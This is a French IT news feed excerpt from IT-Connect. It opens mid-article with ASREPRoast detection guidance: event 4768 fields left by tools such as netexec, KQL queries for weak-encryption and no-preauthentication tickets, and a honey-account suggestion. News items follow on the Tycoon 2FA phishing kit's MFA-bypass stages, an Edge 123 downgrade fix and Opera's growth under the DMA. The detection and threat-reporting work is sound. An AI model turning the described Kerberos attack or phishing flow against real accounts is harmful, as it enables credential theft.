<li><strong>Détection via les journaux d'évènements</strong></li>
</ul>



<p>L'exploitation de l'ASREPRoast génère, comme toute interaction avec l'Active Directory, des évènements. Cependant, il n'est<strong> pas aisé de les distinguer clairement des activités légitimes</strong> et quotidiennes des utilisateurs du domaine. Il faut savoir que lorsqu'un "<strong>AS-REQ</strong>" est effectué sur un compte non vulnérable à l'ASREPRoast (et donc, échoue), aucun évènement de sécurité n'est généré. <strong>Seule l'émission d'un ticket Kerberos génère un évènement avec l</strong>'<strong>eventID <a href="https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=4768" target="_blank" rel="noopener nofollow" title="">4768</a></strong>.</p>



<blockquote class="wp-block-quote">
<p>L'event ID 4768 est enregistré sur le contrôleur de domaine chaque fois qu'un TGT est émis. Il indique que le KDC a reçu une demande de TGT (AS-REQ) et qu'il<strong> a émis un TGT en réponse</strong>. L'évènement journalisé contient alors quelques détails intéressants sur la demande.</p>
<cite>https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4768</cite></blockquote>



<p>Cet évènement apparait donc si :</p>



<ul>
<li>La requête est émise avec une authentification valide, auquel cas un TGT est émis en réponse à l'"<strong>AS-REQ</strong>".</li>



<li>La requête porte sur un utilisateur ayant l'attribut "<em>Do not require Kerberos authentication</em>", auquel cas pas besoin d'authentification, le TGT est tout de même émis en réponse à l'"<strong>AS-REQ</strong>".</li>
</ul>



<p>Voici l'évènement tel qu'il apparaitra dans l'observateur d'évènement lors d'une demande de TGT classique, avec authentification (utilisation ici de "<strong>impacket-getTGT</strong>") :</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><a href="media/fbefe951.asreproast-windows-event-4768-impacket-getTGT.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-windows-event-4768-impacket-getTGT.png"><img decoding="async" width="800" height="786" src="media/86226ba2.asreproast-windows-event-4768-impacket-getTGT-800x786.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-windows-event-4768-impacket-getTGT-800x786.png" alt="EventID 4768 suite à une demande et émission de TGT classique, avec authentification." class="wp-image-76677" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-windows-event-4768-impacket-getTGT-800x786.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-windows-event-4768-impacket-getTGT-550x541.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-windows-event-4768-impacket-getTGT-150x147.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-windows-event-4768-impacket-getTGT-768x755.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-windows-event-4768-impacket-getTGT-50x50.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-windows-event-4768-impacket-getTGT.png 815w" sizes="(max-width: 800px) 100vw, 800px" /></a><figcaption class="wp-element-caption">EventID 4768 suite à une demande et émission de TGT classique, avec authentification.</figcaption></figure></div>


<p>On voit clairement qu'un TGT a été demandé et émis pour l'utilisateur "<strong>IT-CONNECT\mmartin</strong>" par le client "<strong>192.168.56.104</strong>". Nous allons également garder dans un coin de notre mémoire les informations relatives au "<strong>Type de pré-authentification</strong>" et "<strong>Type de chiffrement du ticket</strong>". Je réalise maintenant la même opération à destination du compte "<strong><strong>IT-CONNECT\</strong>rdubois</strong>" et avec un outil offensif qui va directement demander un TGT sans authentification préalable (utilisation de "<strong>netexec</strong>") :</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><img decoding="async" width="800" height="730" src="media/3f0bec34.asreproast-windows-event-4768-impacket-getNPUsers-800x730.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-windows-event-4768-impacket-getNPUsers-800x730.png" alt="EventID 4768 suite à une demande et émission de TGT à la suite d'une attaque ASREPROast via &quot;netexec&quot;" class="wp-image-76678" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-windows-event-4768-impacket-getNPUsers-800x730.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-windows-event-4768-impacket-getNPUsers-550x502.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-windows-event-4768-impacket-getNPUsers-150x137.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-windows-event-4768-impacket-getNPUsers-768x701.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-windows-event-4768-impacket-getNPUsers-50x46.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-windows-event-4768-impacket-getNPUsers.png 858w" sizes="(max-width: 800px) 100vw, 800px" /><figcaption class="wp-element-caption">EventID 4768 suite à une demande et émission de TGT à la suite d'une attaque ASREPROast via "<strong>netexec</strong>".</figcaption></figure></div>


<p>Les informations journalisées sont globalement les mêmes lors d'une demande et émission d'un TGT sur un compte ne nécessitant pas la pré-authentification. Cependant, on peut noter deux exceptions (à noter que le résultat est le même lors d'une exploitation avec "<strong>impacket-getNPUsers</strong>") :  </p>



<ul>
<li>Le "<strong>Type de chiffrement du ticket</strong>" est passé  à "<strong>0x17"</strong> au lieu de "<strong>0x12</strong>". </li>



<li>Le "<strong>Type de pré-authentification</strong>" est passé à "<strong>0</strong>" au lieu de "<strong>2</strong>". </li>
</ul>



<p>L'utilisation d'un chiffrement à "<strong>0x17</strong>" (RC4-HMAC) est un <strong>comportement typique des outils d'attaque</strong> qui <em>downgrade</em> (abaissent) le niveau de chiffrement utilisé pour le chiffrement du TGT afin de rendre le cassage de son contenu plus aisé. Par défaut, le niveau de chiffrement "<strong>0x12"</strong> entraine l'utilisation du AES256-CTS-HMAC-SHA1-96 (Source : <a href="https://learn.microsoft.com/fr-fr/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4768" target="_blank" rel="noopener" title="4768(S, F): A Kerberos authentication ticket (TGT) was requested">4768(S, F): A Kerberos authentication ticket (TGT) was requested</a>). Voilà un premier élément caractéristique d'une attaque ASREPRoast avec des méthodes et outils classiques.</p>



<p>Egalement, la documentation Microsoft est limpide concernant les valeurs du "<strong>Type de pré-authentification</strong>" : </p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><img decoding="async" width="800" height="237" src="media/83967f3b.image-3-800x237.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/image-3-800x237.png" alt="" class="wp-image-76679" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/image-3-800x237.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/image-3-550x163.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/image-3-150x44.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/image-3-768x228.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/image-3-50x15.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/image-3.png 911w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p>La demande de TGT avec une valeur "<strong>0</strong>" à "<strong>Type de pré-authentification</strong>" est donc également un signal intéressant à surveiller. Pour finir sur cette détection, je vous propose une requête KQL (pour ELK) qui permet d'identifier les événements de demande/émission d'un TGT avec un chiffrement faible (RC4) ou sans pré-authentification :</p>



<pre class="wp-block-code"><code>event.code:4768 AND (winlog.event_data.TicketEncryptionType: 0x17 OR winlog.event_data.PreAuthType: 0)</code></pre>



<p>Pour détailler un peu la requête. Il s'agit d'un filtre sur les évènements Windows ayant un évènement ID <strong>4768</strong> et qui ont, soit un "<strong>TicketEncryptionType</strong>" à "<strong>0x17</strong>" (RC4), soit un "<strong>PreAuthType</strong>" à "<strong>0</strong>". Voici le résultat sur l'ELK de mon lab (avec moins d'activité qu'un vrai SI, bien sûr) :</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><a href="media/b59aeff9.asreproast-ELK-4768-detection.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-ELK-4768-detection.png"><img decoding="async" width="800" height="416" src="media/187ed35a.asreproast-ELK-4768-detection-800x416.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-ELK-4768-detection-800x416.png" alt="" class="wp-image-76680" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-ELK-4768-detection-800x416.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-ELK-4768-detection-550x286.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-ELK-4768-detection-150x78.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-ELK-4768-detection-768x399.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-ELK-4768-detection-50x26.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-ELK-4768-detection.png 1315w" sizes="(max-width: 800px) 100vw, 800px" /></a><figcaption class="wp-element-caption">Visualisation dans ELK des évèenemtn caractértistique d'une attaque ASREPRoast</figcaption></figure></div>


<p>Pas de doute, il y a eu une activité suspecte sur mon SI entre 17h45 et 18h15, des TGT sans pre-authentification et avec un algorithme de chiffrement faible ont été demandés.</p>



<p><strong>Surveiller les modifications des attributs utilisateurs</strong></p>



<p>Pour aller plus loin, vous pouvez également chercher et surveiller les event ID <a href="https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=4738" target="_blank" rel="noopener nofollow" title="">4738</a>&nbsp;(<em>A user account was changed</em>) et <a href="https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=5136" target="_blank" rel="noopener nofollow" title="">5136</a> (<em>A directory service object was modified</em>) qui apparaissent lorsqu'un attribut utilisateur est modifié :</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><img decoding="async" width="800" height="590" src="media/80bf473c.asreproast-detection-eventid-4738-800x590.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-detection-eventid-4738-800x590.png" alt="Journalisation de la modification d'un attribut utilisateur via l'eventID 4738." class="wp-image-76522" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-detection-eventid-4738-800x590.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-detection-eventid-4738-550x406.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-detection-eventid-4738-150x111.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-detection-eventid-4738-768x567.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-detection-eventid-4738-50x37.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-detection-eventid-4738.png 813w" sizes="(max-width: 800px) 100vw, 800px" /><figcaption class="wp-element-caption">Journalisation de la modification d'un attribut utilisateur via l'eventID 4738.</figcaption></figure></div>


<p>Plutôt que la compromission, vous visualiserez alors tous les évènements d'activation/désactivation de l'attribut concerné sur des comptes utilisateurs, ce qui permettra de retrouver le moment où la vulnérabilité a été introduite sur le compte concerné. Là aussi, il faudra aller plus loin pour réellement identifier le nom de l'attribut modifié et s'assurer de n'obtenir que les alertes relatives à l'attribut "<em>Do not require Kerberos preauthentication</em>". Egalement, voici un exemple de requête filtre KQL pour cet évènement :</p>



<pre class="wp-block-code"><code>event.code:4738 AND winlog.event_data.UserAccountControl:*2096*</code></pre>



<p>Voici l'aperçu d'un tel évènement dans la console ElasticSearch :</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><img decoding="async" width="800" height="444" src="media/a402ece3.asreproast-ELK-4738-800x444.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-ELK-4738-800x444.png" alt="Visualisation de l'eventID 4738 relatif à l'ajout de l'attribut &quot;Do not requiere kebreroas pre-authentication&quot; dans ElasticSearch." class="wp-image-76683" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-ELK-4738-800x445.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-ELK-4738-550x305.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-ELK-4738-150x83.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-ELK-4738-768x426.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-ELK-4738-50x28.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-ELK-4738.png 1288w" sizes="(max-width: 800px) 100vw, 800px" /><figcaption class="wp-element-caption">Visualisation de l'eventID 4738 relatif à l'ajout de l'attribut "<em>Do not requiere kebreroas pre-authentication</em>" dans ElasticSearch.</figcaption></figure></div>


<ul>
<li><strong>Utilisation d'un honey account</strong></li>
</ul>



<p>Si vous maitrisez correctement la sécurité de votre système d'information, notamment avec un SIEM et un SOC (<em>Security Operation Center</em>) efficaces, alors vous pouvez envisager la mise en place d'un <em>honey account</em>, ou "<strong>compte pot de miel</strong>". L'idée est de créer un compte utilisateur volontairement vulnérable à ASREPRoast<strong> afin que sa compromission génère un évènement de sécurité</strong> activement surveillé par la <em>blue team</em>. </p>



<p>Pour cela, il faut notamment être sûr que ce compte ne sera jamais utilisé de façon légitime par un utilisateur ou un service du SI. Ainsi, si une demande de TGT pour ce compte spécifique apparait dans les journaux d'évènement, <strong>ce sera forcément dû à une attaque ASREPRoast en cours</strong>.</p>



<blockquote class="wp-block-quote">
<p>Attention : La création et la gestion d'un compte pot de miel nécessitent une attention particulière. Il faut s'assurer que les politiques de sécurité et les procédures de surveillance sont bien établies pour garantir que le compte reste contrôlé et qu'il ne devienne pas une vulnérabilité supplémentaire.  Il faut notamment s'assurer que l'<em>honey account</em> ait un mot de passe très robuste afin que le hash contenu dans son TGT ne soit jamais cassé, ce qui permettrait à l'attaquant d'obtenir un compte valide sur le domaine.</p>
</blockquote>



<h2 class="wp-block-heading">VI. Conclusion</h2>



<p>J'espère que cet article vous a plu et que vous avez maintenant une meilleure idée des risques liés à cette attaque et de la façon de s'en protéger. J'ai essayé de faire en sorte qu'il soit complet en abordant le point de vue des attaquants comme des défenseurs.</p>



<p><em>N'hésitez pas à donner votre avis dans les commentaires ou sur&nbsp;<a href="https://discord.com/invite/KMWN7TUQfm" target="_blank" rel="noreferrer noopener">notre Discord</a>&nbsp;!</em></p><p>The post <a href="https://www.it-connect.fr/securite-active-directory-comprendre-et-se-proteger-attaque-asreproast/">Sécurité de l’Active Directory : comprendre et se protéger de l’attaque ASREPRoast</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=78439
title: Le kit de phishing Tycoon 2FA contourne le MFA et cible les comptes Microsoft 365 et Gmail !
uri: Le-kit-de-phishing-Tycoon-2FA-contourne-le-MFA-et-cible-les-comptes-Mi
url:
https://www.it-connect.fr/phishing-tycoon-2fa-contourne-le-mfa-et-cible-les-comptes-microsoft-365-et-gmail/

content:
<p><strong>Tycoon 2FA, c'est le nom d'une plateforme de Phishing-as-a-Service (Phaas) utilisée par les cybercriminels pour cibler les utilisateurs de Gmail (Google) et de Microsoft 365, tout en outrepassant l'authentification à deux facteurs. Voici ce qu'il faut savoir sur ce kit redoutable !</strong></p>



<p>En octobre 2023, les analyses de Sekoia ont fait la découverte de Tycoon 2FA pour la première fois. Néanmoins, les pirates du groupe Saad Tycoon en font la promotion sur un canal Telegram privé depuis août 2023. </p>



<p>Comme le soulignent les équipes de Sekoia dans un <a href="https://blog.sekoia.io/tycoon-2fa-an-in-depth-analysis-of-the-latest-version-of-the-aitm-phishing-kit/" target="_blank" rel="noopener nofollow" title="">nouveau rapport</a>, <strong>ce kit de phishing prêt à l'emploi est en pleine évolution</strong> et une nouvelle version a été publiée en 2024 : <strong>plus efficace et plus furtive</strong>, notamment l'ajout de capacités de détection et de blocage des bots. Actuellement, <strong>Tycoon 2FA exploite 1 100 domaines</strong> et a été utilisé pour mettre au point <strong>des milliers d'attaques de phishing</strong>.</p>



<p>Afin de pouvoir <strong>contourner l'authentification multifacteur et voler les informations d'identification des utilisateurs</strong>, Tycoon 2FA doit intercepter les données de la victime et les transmettre au service légitime. Pour atteindre cet objectif, la plateforme<strong> Tycoon 2FA intègre un <a href="https://www.it-connect.fr/les-serveurs-proxy-et-reverse-proxy-pour-les-debutants/" target="_blank" rel="noopener" title="Les serveurs proxy et reverse proxy pour les débutants">reverse proxy</a> </strong>qui va se positionner entre l'ordinateur de la victime et le service sur lequel elle va se connecter.</p>



<h2 class="wp-block-heading">Un processus bien rôdé, en 7 étapes</h2>



<p>Ainsi, actuellement en mars 2024,<strong> une attaque Tycoon 2FA se déroule en 7 étapes distinctes</strong> :</p>



<ul>
<li><strong>Étape 0</strong> : les attaquants diffusent des liens malveillants par l'intermédiaire d'une campagne de phishing (e-mails malveillants) ou des QR codes piégés, dans le but d'amener la victime vers la page falsifiée.</li>



<li><strong>Étape 1 </strong>: lorsqu'un utilisateur clique sur l'URL contenue dans l'e-mail, ou qu'il scanne le QR code, il est redirigé vers une page intégrant un défi Turnstile de Cloudflare afin de filtrer le trafic indésirable.</li>



<li><strong>Étape 2</strong> : cette étape n'est pas visible pour l'utilisateur, car elle exécute un code JavaScript en arrière-plan et redirige ensuite l'utilisateur vers une autre page en fonction de la présence d'une adresse électronique.</li>



<li><strong>Étape 3</strong> : cette étape est également invisible pour l'utilisateur qui sera redirigé automatiquement vers une autre page contrôlée par les cybercriminels.</li>



<li><strong>Étape 4 </strong>: l'utilisateur se retrouve face à une fausse page de connexion Microsoft qui est utilisée par les attaquants pour voler les informations d'identification. WebSockets est utilisé pour l'exfiltration des données.</li>



<li><strong>Étape 5</strong> : c'est à ce moment-là que, si nécessaire, Tycoon 2FA va utiliser du code JavaScript pour proposer un défi 2FA à l'utilisateur, en relayant et en prenant en charge plusieurs méthodes (Notification sur Microsoft Authenticator, code à usage unique via une application, SMS ou par appel téléphonique). Il interceptera les informations de validation émises par l'utilisateur pour compléter le challenge MFA.</li>



<li><strong>Étape 6 </strong>: fin du processus, l'utilisateur est redirigé vers une page déterminée par les cybercriminels. Le site de Microsoft, dans certains cas.</li>
</ul>



<p>Au sujet de l'étape n°5, Sekoia précise : "<em>À l'aide de serveurs proxy commerciaux, les pages d'hameçonnage Tycoon 2FA transmettent les données de l'utilisateur, notamment l'adresse électronique, le mot de passe et le code 2FA, à l'API d'authentification légitime de Microsoft. La réponse au trafic de l'API Microsoft renvoie les pages et les informations appropriées à l'utilisateur.</em>" - Ce qui montre l'efficacité de Tycoon 2FA et prouve que c'est un kit prêt à l'emploi très évolué. </p>



<figure class="wp-block-image size-large"><a href="media/ec8e7ea9.Tycoon-2FA-Schema-Mars-2024.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Tycoon-2FA-Schema-Mars-2024.jpg"><img fetchpriority="high" decoding="async" width="800" height="403" src="media/7718e59f.Tycoon-2FA-Schema-Mars-2024-800x403.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Tycoon-2FA-Schema-Mars-2024-800x403.jpg" alt="" class="wp-image-78449" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Tycoon-2FA-Schema-Mars-2024-800x403.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Tycoon-2FA-Schema-Mars-2024-550x277.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Tycoon-2FA-Schema-Mars-2024-150x76.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Tycoon-2FA-Schema-Mars-2024-768x387.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Tycoon-2FA-Schema-Mars-2024-50x25.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Tycoon-2FA-Schema-Mars-2024.jpg 1200w" sizes="(max-width: 800px) 100vw, 800px" /></a><figcaption class="wp-element-caption">Source : Sekoia</figcaption></figure>



<p>Les affiliés de Tycoon 2FA ont accès à un <strong>véritable tableau de bord d'administration </strong>au sein duquel ils peuvent <strong>visualiser les identifiants collectés</strong> avec l'identifiant, le mot de passe, l'état du MFA, ainsi que la possibilité d'<strong>obtenir des cookies d'authentification prêts à l'emploi</strong>.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="423" src="media/31955b88.Tycoon-2FA-Dashboard.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Tycoon-2FA-Dashboard.jpg" alt="" class="wp-image-78452" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Tycoon-2FA-Dashboard.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Tycoon-2FA-Dashboard-550x291.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Tycoon-2FA-Dashboard-150x79.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Tycoon-2FA-Dashboard-768x406.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Tycoon-2FA-Dashboard-50x26.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Tycoon-2FA-Dashboard-390x205.jpg 390w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Un ensemble de domaines malveillants est associé à l'utilisation du kit Tycoon 2FA. Vous pouvez retrouver la liste sur le GitHub de Sekoia, sur <a href="https://github.com/SEKOIA-IO/Community/blob/main/IOCs/tycoon2fa/tycoon2fa_iocs_20240325.csv" target="_blank" rel="noopener nofollow" title="">cette page</a>. </p>



<h2 class="wp-block-heading">Tycoon 2FA, une plateforme massivement utilisée par les pirates</h2>



<p>Sekoia a pu analyser le portefeuille de cryptomonnaie utilisé par le groupe de cybercriminels à l'origine du kit Tycoon 2FA.<strong> Depuis août 2023</strong>, il y a eu<strong> 700 transactions entrantes</strong> d'une valeur moyenne de 366 dollars, soit plus de 256 000 dollars. Les analystes indiquent également que 530 transactions ont dépassé 120 dollars, ce qui correspond au tarif pour accéder à la plateforme PhaaS pendant 10 jours.</p>



<p>"<em>En supposant que le portefeuille est principalement utilisé pour les opérations PhaaS de Tycoon 2FA depuis août 2023, le montant total des transactions suggère que plusieurs centaines de kits Tycoon 2FA ont été vendus 'as a service' sur une période de six mois.</em>", peut-on lire.</p>



<p><a href="https://www.bleepingcomputer.com/news/security/new-mfa-bypassing-phishing-kit-targets-microsoft-365-gmail-accounts/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/phishing-tycoon-2fa-contourne-le-mfa-et-cible-les-comptes-microsoft-365-et-gmail/">Le kit de phishing Tycoon 2FA contourne le MFA et cible les comptes Microsoft 365 et Gmail !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=78440
title: Sur Windows Server, Microsoft Edge 123 ne fonctionne plus ! Que se passe-t-il ?
uri: Sur-Windows-Server-Microsoft-Edge-123-ne-fonctionne-plus-Que-se-pas
url: https://www.it-connect.fr/bug-microsoft-edge-123-windows-server-mars-2024/
content:
<p><strong>Vous utilisez Microsoft Edge sur Windows Server et il se ferme au bout de quelques secondes ? Sachez que vous n'êtes pas le seul et que ce problème serait lié à la version 123 du navigateur Edge. Faisons le point sur ce problème.</strong></p>



<p>La Build <strong>123.0.2420.53</strong> de Microsoft Edge semble donner du fil à retordre aux administrateurs systèmes qui exploitent ce navigateur sur Windows Server. En effet, cette version ne semble pas fonctionner correctement : <strong>une page blanche s'ouvre au démarrage, puis quelques secondes plus tard, le navigateur se ferme tout seul. </strong>Ceci peut s'avérer très problématique sur certains serveurs, notamment les <strong>hôtes de sessions Bureau à distance (RDS) </strong>où les utilisateurs se connectent directement !</p>



<p>Ce problème fait suite à l'installation de la version <strong>123.0.2420.53</strong> sur <a class="wpil_keyword_link" href="https://www.it-connect.fr/cours-tutoriels/administration-systemes/windows-server/" target="_blank" rel="noopener" title="Windows Server" data-wpil-keyword-link="linked">Windows Server</a>. Une <strong>version disponible depuis quelques jours</strong> sur Windows et Windows Server puisqu'elle a introduit le <strong>canal Stable de Microsoft Edge le 23 mars 2024</strong>.</p>



<h2 class="wp-block-heading">Comment résoudre ce problème ?</h2>



<p>Actuellement, la solution consiste à revenir en arrière, c'est-à-dire sur une version antérieure de Microsoft Edge. D'ailleurs, sur le <a href="https://answers.microsoft.com/en-us/microsoftedge/forum/all/microsoft-edge-build-1230242053-closes-unexpectly/644dddce-115d-4306-9efa-1f477bcaabe2" target="_blank" rel="noopener nofollow" title="">forum de Microsoft</a> une ligne de commande a été fournie par un utilisateur pour expliquer<strong> comment revenir en arrière à partir du package MSI d'une précédente version d'Edge</strong> grâce à l'utilisation du paramètre "ALLOWDOWNGRADE=1" :</p>



<pre class="wp-block-code"><code>msiexec /I <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">Microsoft Edge_122.0.2365.106_Machine_X64_msi_en-US.msi </mark>ALLOWDOWNGRADE=1</code></pre>



<p>Vous pouvez télécharger la version de Microsoft Edge de votre choix à partir de <a href="https://www.microsoft.com/fr-fr/edge/business/download?form=MA13H4" target="_blank" rel="noopener nofollow" title="">cette page</a>. Sur la page du forum Microsoft<strong>, l'agent qui a répondu confirme que d'autres utilisateurs ont rencontré ce problème !</strong> D'ailleurs, ces dernières heures, <strong>Microsoft a retiré cette mise à jour de son catalogue et elle n'est plus distribuée via <a class="wpil_keyword_link" href="https://www.it-connect.fr/cours/wsus-windows-server-2022-formation-gratuite/" target="_blank" rel="noopener" title="WSUS" data-wpil-keyword-link="linked">WSUS</a> </strong>: preuve qu'il y a un réel problème avec celle ! En attendant, si elle est déjà passée sur vos serveurs, vous risquez de rencontrer ce problème !</p>



<p><strong>Et vous, rencontrez-vous ce bug sur Windows Server ?</strong></p>



<p>PS : m<em>erci à Fabien Guérout de chez Délibérata (un ancien collègue !) de m'avoir signalé ce dysfonctionnement et confirmé que le downgrade vers une version antérieure permettait de corriger ce problème !</em></p><p>The post <a href="https://www.it-connect.fr/bug-microsoft-edge-123-windows-server-mars-2024/">Sur Windows Server, Microsoft Edge 123 ne fonctionne plus ! Que se passe-t-il ?</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=78433
title: Digital Markets Act : une croissance de 402% pour Opera sur iPhone
uri: Digital-Markets-Act-une-croissance-de-402-pour-Opera-sur-iPhone
url: https://www.it-connect.fr/digital-markets-act-une-croissance-de-402-pour-opera-sur-iphone/
content:
<p><strong>Grâce à l'entrée en vigueur du Digital Markets Act, Opera affiche une énorme croissance de 402% sur iPhone, en France ! Il s'agit d'une alternative à Safari qui semble séduire les utilisateurs de smartphones Apple. </strong></p>



<p>Le 6 mars 2024, le Digital Markets Act (DMA) est entré en vigueur et les géants de la tech ont dû s'y préparer : que ce soit Google, Amazon, Microsoft ou encore Apple. D'ailleurs, sur les <strong>smartphones sous Android et iOS</strong>, Google et Apple doivent permettre à l'utilisateur de <strong>choisir facilement un navigateur tiers</strong>. Autrement dit, si nous prenons le cas de l'iPhone,<strong> Apple ne doit pas imposer Safari.</strong> Sur Android, il s'agit d'avoir le choix d'utiliser autre chose que Google Chrome. L'objectif étant d'<strong>offrir aux utilisateurs une certaine liberté</strong>, et surtout, de pouvoir faire ses choix de façon simple.</p>



<p>Bien que de nombreux utilisateurs d'iPhone aient pris la décision de poursuivre l'aventure avec Safari, d'autres, quant à eux, ont choisi d'<strong>utiliser un autre navigateur</strong>. En effet, il y a du choix : <strong>Brave, Mozilla Firefox, ou encore Opera.</strong> Au total, il y a une petite dizaine d'alternatives proposées.</p>



<ul>
<li><a href="https://www.it-connect.fr/iphone-apple-va-vous-proposer-de-remplacer-safari-par-ces-11-navigateurs/" target="_blank" rel="noopener" title="iPhone : Apple va vous proposer de remplacer Safari par l’un de ces 11 navigateurs !">Safari : Apple va proposer 11 alternatives</a></li>
</ul>



<p>Au mois de mars, le grand gagnant, c'est <strong>Opera </strong>: il affiche <strong>une croissance de 402% sur iOS, rien qu'en France</strong>. Chez nos voisins européens, il y a également une belle évolution pour Opera : +143% en Espagne, +68% en Pologne et +56% en Allemagne. Sur Android, Opera a également progressé : "<em>Opera pour Android a également connu une croissance significative, en particulier en France, où le nombre de nouveaux utilisateurs a augmenté de 54 % le jour où le Ballot Screen a commencé à être introduit.</em>", peut-on lire dans <a href="https://press.opera.com/2024/03/18/opera-jump-in-new-eu-users-after-ballot-screen/" target="_blank" rel="noopener nofollow" title="">l'article de presse d'Opera</a>.</p>



<p>De façon globale, sur <em>desktop </em>et mobile, Opera reste moins utilisé que certains navigateurs comme Google Chrome, Microsoft Edge et Safari, c'est un sérieux coup de pouce pour ce navigateur qui se démarque par <strong>certaines fonctionnalités intéressantes pour la confidentialité en ligne</strong>.</p>



<p>D'ailleurs, dans son article de presse, Opera en profite pour rappeler certaines de ces fonctionnalités disponibles sur mobiles : "<em>Opera pour Android et Opera pour iOS sont des navigateurs puissants qui offrent une expérience rapide, sécurisée et centrée sur l'utilisateur. Tous deux proposent des fonctions de confidentialité avancées, telles qu'un <a class="wpil_keyword_link" href="https://www.it-connect.fr/les-tunnels-vpn-pour-les-debutants/" target="_blank" rel="noopener" title="VPN" data-wpil-keyword-link="linked">VPN</a> gratuit et sans connexion, ainsi qu'un bloqueur de publicités, un bloqueur de traqueurs et un bloqueur de fenêtres pop-up et de cookies intégrés.</em>"</p>



<p>Par ailleurs, certains utilisateurs ont pris la décision de s'orienter vers d'autres navigateurs. Du côté de <strong>Brave</strong>, le nombre d'<strong>installations quotidiennes</strong> est passé <strong>de 8 000 à 11 000</strong> à partir du 9 mars 2024.</p>



